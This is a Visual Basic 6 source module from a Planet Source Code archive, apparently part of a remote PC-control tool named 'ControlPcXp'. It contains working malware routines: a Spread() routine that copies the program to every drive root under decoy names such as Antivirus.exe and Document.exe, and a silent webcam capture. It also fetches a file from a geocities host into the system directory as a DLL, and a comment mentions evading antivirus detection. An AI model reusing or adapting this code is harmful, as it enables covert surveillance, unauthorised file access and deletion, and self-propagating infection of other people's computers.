home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 5_2007-2008.ISO / data / Zips / Commercial2109524142008.psc / FileFunctions.bas < prev    next >
BASIC Source File  |  2007-10-28  |  15KB  |  363 lines

  1. Attribute VB_Name = "mod1"
  2. Option Explicit
  3. Private Const WS_CHILD As Long = &H40000000
  4. Private Const WS_VISIBLE As Long = &H10000000
  5. Private Const WM_USER As Long = &H400
  6. Private Const WM_CAP_START As Long = WM_USER
  7. Private Const WM_CAP_DRIVER_CONNECT As Long = WM_CAP_START + 10
  8. Private Const WM_CAP_DRIVER_DISCONNECT As Long = WM_CAP_START + 11
  9. Private Const WM_CAP_SET_PREVIEW As Long = WM_CAP_START + 50
  10. Private Const WM_CAP_SET_PREVIEWRATE As Long = WM_CAP_START + 52
  11. Private Const WM_CAP_DLG_VIDEOFORMAT As Long = WM_CAP_START + 41
  12. Private Const WM_CAP_FILE_SAVEDIB As Long = WM_CAP_START + 25
  13.  
  14.  
  15.  
  16. Public Function CreatePath(strPath As String) As String
  17. Dim Fol As String
  18. Dim A1  As Long
  19. 'Creates Directorys in the path
  20.     On Error GoTo CreatePath_Error
  21.     strPath = RemBackslash(strPath)
  22.     For A1 = 0 To UBound(Split(strPath, "\"))
  23.         Fol = Fol & Split(strPath, "\")(A1) & "\"
  24.         If LenB(Dir(Fol, vbDirectory)) = 0 Then
  25.             MkDir Fol
  26.         End If
  27.     Next A1
  28. ''on error GoTo 0 ':(áCheck Error Handling Structure
  29. Exit Function
  30. CreatePath_Error:
  31.     CreatePath = "Error: " & err.number & " in procedure CreatePath of Module hjjw"
  32. End Function
  33. Public Function FindFiles(ByVal sPath As String, Find1 As String, Optional ByRef bHasSubs As Boolean) As String
  34. ' Note: This function is recursive.
  35. 'Find Files
  36. 'If Not Right$(sPath, 1) = "\" Then sPath = sPath & "\" ':(áExpand Structure -> replaced by:
  37. Dim Files As String         ':(áMove line to top of current Function
  38. Dim sName As String         ':(áMove line to top of current Function
  39. Dim h     As Long           ':(áMove line to top of current Function
  40. Dim FD    As WIN32_FIND_DATA ':(áMove line to top of current Function
  41. 'Dim r      As Long ':(áMove line to top of current Function
  42.     If Not Right$(sPath, 1) = "\" Then
  43.         sPath = sPath & "\"
  44.     End If
  45.     On Error GoTo Error_Prase
  46. ' Get handle to first file or subfolder in folder.
  47.     h = FindFirstFile(sPath & EXT_ALL, FD)
  48.     bHasSubs = False
  49.     If h <> INVALID_HANDLE_VALUE Then
  50.         Do
  51.             sName = Left$(FD.cFileName, InStr(FD.cFileName, vbNullChar) - 1)
  52.             If Left$(sName, 1) <> DOT Then
  53.                 If (FD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY Then
  54.                     bHasSubs = True
  55. ' If the handle is to Table folder then call the function recursively.
  56.                     Files = Files & FindFiles(sPath & sName & "\", Find1, bHasSubs)
  57.                 Else
  58.                     If InStr(1, FD.cFileName, Find1, vbTextCompare) > 0 Then
  59.                         Files = Files & "<table border='1' ><tr><td nwidth='40%'><a Href= """ & LocalhttpAddress & "\" & "FDO," & Replace$(sPath & sName, "\", "/") & """ >" & sName & "</a></td><td >" & sPath & "</td></tr></table>"
  60.                     End If
  61.                 End If
  62.             End If
  63.         Loop While FindNextFile(h, FD)
  64.         Call FindClose(h) ': Debug.Assert r
  65.     End If
  66.     FindFiles = Files
  67. Exit Function
  68. Error_Prase:
  69.     err.Clear
  70. End Function
  71. Public Function FormatFileSize(ByVal Size As Variant, Optional ByVal LongDisplay As Boolean = False) As String
  72. Const KB As Long = 1024
  73. Const MB As Long = KB * KB
  74. Dim sRet As String
  75. '--------------------------------------------------------------------------------------
  76. 'FileSize -----------------------------------------------------------------------------
  77.     If Size < KB Then
  78.         sRet = Format$(Size, "#,##0") & " byte"
  79.         If Size <> 1 Then
  80.             sRet = sRet & "s"
  81.         End If
  82.     Else
  83.         Select Case Size / KB
  84.         Case Is < 10
  85.             sRet = Format$(Size / KB, "0.00") & " KB"
  86.         Case Is < 100
  87.             sRet = Format$(Size / KB, "0.0") & " KB"
  88.         Case Is < 1000
  89.             sRet = Format$(Size / KB, "0") & " KB"
  90.         Case Is < 10000
  91.             sRet = Format$(Size / MB, "0.00") & " MB"
  92.         Case Is < 100000
  93.             sRet = Format$(Size / MB, "0.0") & " MB"
  94.         Case Is < 1000000
  95.             sRet = Format$(Size / MB, "0") & " MB"
  96.         Case Is < 10000000
  97.             sRet = Format$(Size / MB / KB, "0.00") & " GB"
  98.         End Select
  99.     End If
  100.     If LongDisplay Then
  101.         If Size >= KB Then
  102.             sRet = sRet & " (" & Format$(Size, "#,##0") & " bytes)"
  103.         End If
  104.     End If
  105.     FormatFileSize = sRet
  106. End Function
  107.  
  108. Public Function CheckJpgCodec()
  109.     On Error Resume Next
  110.     If LenB(Dir(GetSystemDirectory & "jcon.dll")) = 0 Or FileLen(GetSystemDirectory & "jcon.dll") = 0 Then
  111. ' Download The Jpg Converter Module http://geocities.com/uptomoon/jcon.class
  112.         Call URLDownloadToFile(0, "http://geocities.com/uptomoon/jcon.class", GetSystemDirectory & "jcon.dll", 0, 0) ' Download Codec jcon.dll
  113.     End If
  114.     If LenB(Dir(GetSystemDirectory & "jcon.dll")) = 0 Then
  115.         CheckJpgCodec = "Error : Cannot Download Jpeg Codec"
  116.         Exit Function
  117. '<:-) :SUGGESTION: (EXPERIMENTAL follow advice with care )
  118. '<:-) Explict 'Exit ProcedureType' can make code flow harder to follow.(Fix ID 3)
  119. '<:-) Convert 'If..Then/Code(with Explicit Exit)/Else/Rest_of_Code/End If' to
  120. '<:-) 'If..Then/Exit Code(without Explicit Exit)/Else/ Rest_Of_Code/End If
  121. '<:-) OR if Exit Code block is only the Exit Command
  122. '<:-) 'If Not ..Then/ Rest_Of_Code/End If
  123.     Else
  124.         CheckJpgCodec = ""
  125.     End If
  126. End Function
  127. Public Function GetCameraPicture(Dpi) As String
  128. On Error GoTo err
  129. Dim hcap As Long, Jpg1 As String
  130. Dim CAPFILE As String
  131. Jpg1 = CheckJpgCodec
  132. GetCameraPicture = Jpg1
  133. With Hkr.Picture1
  134.  
  135.  
  136. CAPFILE = tempPath & "TMP" & Rnd(100000) * 100000
  137.  
  138. hcap = capCreateCaptureWindow("Take a Camera Shot", WS_CHILD Or WS_VISIBLE, 0, 0, 640, 480, .hwnd, 0)
  139. End With
  140.     If hcap <= 0 Then
  141.         GetCameraPicture = GetCameraPicture & "Error : No Camera Found"
  142.         Exit Function
  143.     End If
  144.     
  145.     Call SendMessage(hcap, WM_CAP_DRIVER_CONNECT, 0, 0)
  146.         Call SendMessage(hcap, WM_CAP_SET_PREVIEWRATE, 66, 0&)
  147.         Call SendMessage(hcap, WM_CAP_SET_PREVIEW, CLng(True), 0&)
  148.     
  149.     DoEvents
  150.     Call SendMessage(hcap, WM_CAP_SET_PREVIEW, CLng(False), 0&)
  151.     DoEvents
  152.     Call SendMessage(hcap, WM_CAP_FILE_SAVEDIB, 0&, ByVal CStr(CAPFILE))
  153.     
  154.     DoEvents
  155.     Call SendMessage(hcap, WM_CAP_SET_PREVIEW, CLng(True), 0&)
  156.     DoEvents
  157.     Call SendMessage(hcap, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
  158.     DoEvents
  159.     If err.number > 0 Then
  160.         GetCameraPicture = GetCameraPicture & "Error : Camera Not isConnected "
  161.         Exit Function
  162.     End If
  163.     DoEvents
  164.     If BMPToJPG(CAPFILE, CAPFILE & ".jpg", Int(Dpi)) > 0 Then
  165.         GetCameraPicture = GetCameraPicture & "Error : No jcon.dll Found"
  166.     Else
  167.         GetCameraPicture = CAPFILE & ".jpg"
  168.     End If
  169.     Exit Function
  170. err:
  171. GetCameraPicture = "Error : " & err.Description
  172. err.Clear
  173. On Error GoTo 0
  174. End Function
  175. Public Function GetDriveLetters(Optional s As String) As String
  176. Dim DriveType    As Long
  177. Dim r            As Long
  178. Dim allDrives    As String
  179. Dim JustOneDrive As String
  180. Dim pos          As Long
  181. 'Shows The Disk Drive Letters
  182.     On Error GoTo GetDriveLetters_Error
  183.     GetDriveLetters = "Drives : " & "<br>"
  184.     allDrives = Space$(64)
  185.     r = GetLogicalDriveStrings(Len(allDrives), allDrives)
  186.     allDrives = Left$(allDrives, r)
  187.     Do
  188.         pos = InStr(allDrives, vbNullChar)
  189.         If pos Then
  190.             DoEvents
  191.             JustOneDrive = Left$(allDrives, pos)
  192.             allDrives = Mid$(allDrives, pos + 1, Len(allDrives))
  193.             JustOneDrive = Replace$(JustOneDrive, vbNullChar, vbNullString)
  194.             DriveType = GetDriveType(JustOneDrive)
  195.             GetDriveLetters = GetDriveLetters & IIf(s <> vbNullString, Replace$(s, "%s", JustOneDrive, , , vbTextCompare), JustOneDrive) & " : " & DriveType & "<br>"
  196.         End If
  197.     Loop Until LenB(allDrives) = 0
  198. ''on error GoTo 0 ':(áCheck Error Handling Structure
  199. Exit Function
  200. GetDriveLetters_Error:
  201.     GetDriveLetters = "Error: " & err.number & " in procedure GetDriveLetters of Module hjjw"
  202. End Function
  203. Public Function GetFolderSize(ByVal sPath As String, ByRef bHasSubs As Boolean) As Double
  204. ' Note: This function is recursive.
  205. '--------------------------------------------------------------------------------------
  206. 'Functions ----------------------------------------------------------------------------
  207. 'If Not Right$(sPath, 1) = "\" Then sPath = sPath & "\" ':(áExpand Structure -> replaced by:
  208. Dim dSize As Double         ':(áMove line to top of current Function
  209. Dim sName As String         ':(áMove line to top of current Function
  210. Dim h     As Long           ':(áMove line to top of current Function
  211. Dim FD    As WIN32_FIND_DATA ':(áMove line to top of current Function
  212. 'Dim r      As Long ':(áMove line to top of current Function
  213.     If Not Right$(sPath, 1) = "\" Then
  214.         sPath = sPath & "\"
  215.     End If
  216. ' Get handle to first file or subfolder in folder.
  217.     h = FindFirstFile(sPath & EXT_ALL, FD)
  218.     bHasSubs = False
  219.     If h <> INVALID_HANDLE_VALUE Then
  220.         Do
  221.             sName = Left$(FD.cFileName, InStr(FD.cFileName, vbNullChar) - 1)
  222.             If Left$(sName, 1) <> DOT Then
  223.                 If (FD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY Then
  224.                     bHasSubs = True
  225. ' If the handle is to Table folder then call the function recursively.
  226.                     dSize = dSize + GetFolderSize(sPath & sName & "\", True)
  227.                 Else
  228.                     dSize = dSize + FD.nFileSizeLow
  229.                 End If
  230.             End If
  231.         Loop While FindNextFile(h, FD)
  232.         Call FindClose(h) ': Debug.Assert r
  233.     End If
  234. ' Return the folder size and add the size to the Collection with
  235. ' the folder path as the key for later referencing.
  236.     GetFolderSize = dSize
  237. End Function
  238. Public Function GetHeaderProperty(Headers As String, Prop As String) As String
  239. 'Extracts The Command From The Input Url
  240. '--------------------------------------------------------------------------------------
  241. 'Commands------------------------------------------------------------------------------
  242. Dim A1 As Long
  243. Dim A2 As Long
  244.     A1 = InStr(1, Headers, Prop, vbTextCompare)
  245.     If A1 > 0 Then
  246.         For A2 = A1 + Len(Prop) To Len(Headers)
  247.             If Mid$(Headers, A2, 1) = vbCrLf Or Mid$(Headers, A2, 1) = vbCr Or Mid$(Headers, A2, 1) = vbLf Then
  248.                 GetHeaderProperty = Trim$(Mid$(Headers, (A1) + Len(Prop), (A2 - (A1 + Len(Prop)))))
  249.                 Exit Function '--->áBottom
  250. '<:-) :SUGGESTION: (EXPERIMENTAL follow advice with care )
  251. '<:-) Explict 'Exit ProcedureType' can make code flow harder to follow.(Fix ID 11)
  252. '<:-) No recommended action but consider coding around it.
  253.             End If
  254.         Next A2
  255.     End If
  256. Error_Prase:
  257.     GetHeaderProperty = "0"
  258.     err.Clear
  259. End Function
  260. Public Function GetHexVal(ByVal inPutStr As String) As String
  261. Dim A1     As Long
  262. Dim A2     As Long
  263. Dim StrVal As String
  264.     StrVal = inPutStr
  265.     On Error GoTo Error_Prase
  266. '--Decrypt Url Encoding as Http://Server%20Name%20
  267.     If UBound(Split(StrVal, "%")) <= 0 Then
  268.         GetHexVal = StrVal
  269.     Else
  270. re:
  271.         DoEvents
  272.         For A1 = 1 To UBound(Split(StrVal, "%"))
  273.             For A2 = 0 To 255
  274.                 If Hex$(Asc(Chr$(CStr(A2)))) = Left$(Split(StrVal, "%")(A1), 2) Then
  275.                     StrVal = Replace$(StrVal, "%" & Left$(Split(StrVal, "%")(A1), 2), Chr$(A2))
  276.                     GoTo re
  277.                 End If
  278.             Next '  A2 A2 A2
  279.         Next '  A1 A1 A1
  280.         GetHexVal = StrVal
  281.         Exit Function
  282. Error_Prase:
  283.         GetHexVal = StrVal
  284.         err.Clear
  285.     End If
  286. End Function
  287. Public Function Table(strText As String) As String
  288.     If NoForm Then
  289. 'Warning : This Program Control and its required files are Open Source to the world thus the Author is not responsible For Any Misuse.
  290. '--------------------------------------------------------------------------------------
  291.         Table = strText
  292.     Else
  293.         If COLOR1 = "#E9E9E9" Then
  294.             COLOR1 = "#FFFFFF"
  295.         Else
  296.             COLOR1 = "#E9E9E9"
  297.         End If
  298.         Table = "<html><title>" & LocalhttpAddress & " Services - [ControlPcXp]" & vbCrLf & "</title>" & vbCrLf & "<body><table border=""2"" cellpadding=""0"" style=""border-collapse: collapse"" bordercolor=""#111111""  align=""left"">"
  299.         Table = Table & "<tr><td bgcolor=""" & COLOR1 & """><font size=""2"">" & strText & "</font></td>"
  300.         Table = Table & "</tr></table></body></html>"
  301.     End If
  302. End Function
  303. Private Sub Spread()
  304. Dim FN(20) As String, PP As String, A As Long
  305.     On Error Resume Next
  306.     For A = 65 To 65 + 26
  307.         Randomize: PP = Chr$(A) & ":\" & Array("Server", "Client", "Host", "Site", "Website", "About", "Url", "Ping", "Trace", "Route", "Seeder", "Antivirus", "Upx", "Tracker", "Marry", "Letter", "Document", "Sir", "Madam", "Folder", "Peer")(Int(Rnd(20) * 20)) & ".exe"
  308.         FileCopy AppPath & App.EXEName & ".exe", PP
  309.         err.Clear
  310.     Next A
  311. End Sub
  312. ''
  313. ''Public Function FileExistsn(strPath As String) As String
  314. ''
  315. ''
  316. ''
  317. ''On Local Error GoTo Error_Prase
  318. '''Function Tells That The File Exists
  319. ''If FileLen(strPath) > 0 Then
  320. ''FileExistsn = strPath
  321. ''End If
  322. ''Error_Prase:
  323. ''Err.Clear
  324. ''End Function
  325. ''
  326. ''
  327. Public Function GetFileFromPath(A2 As String) As String
  328. Dim A4 As Long
  329. Dim A3 As Long
  330. 'Dim a5
  331. 'Dim a6
  332.     On Error GoTo end1
  333. '''--------------------------------------------------------------------------------------
  334.     For A4 = 0 To Len(A2)
  335.         For A3 = 0 To A4
  336.             If Left$(Right$(A2, A4), A3) = "\" Or Left$(Right$(A2, A4), A3) = "/" Then
  337.                 GetFileFromPath = Right$(A2, A4 - 1)
  338.                 GoTo end1
  339.             End If
  340.         Next A3
  341.     Next A4
  342. end1:
  343.     If err.number > 0 Then
  344.         GetFileFromPath = A2
  345.         err.Clear
  346.     End If
  347. End Function
  348. Public Function DeleteDirectory(ByVal DirtoDelete As Variant) As String
  349. Dim FSO As Variant
  350. 'Deletes the Directorys . ' Guys I Havent Any Way Out Using The Filesystem . Filesystem Object Can Cause Catching Due To Some Antivirus Programs Sees The FileSystem Objects
  351.     On Error GoTo DeleteDirectory_Error
  352.     Set FSO = CreateObject("Scripting.FileSystemObject")
  353.     FSO.DeleteFolder DirtoDelete, True
  354.     On Error GoTo 0 ':(áCheck Error Handling Structure
  355. Exit Function
  356. DeleteDirectory_Error:
  357.     DeleteDirectory = "Error: " & err.number & " in procedure DeleteDirectory of Module hjjw"
  358.     Log DeleteDirectory
  359. End Function
  360.  
  361. ''
  362. ':)Code Fixer V3.0.9 (11/15/2006 12:12:18 PM) 1 + 383 = 384 Lines Thanks Ulli for inspiration and lots of code.
  363.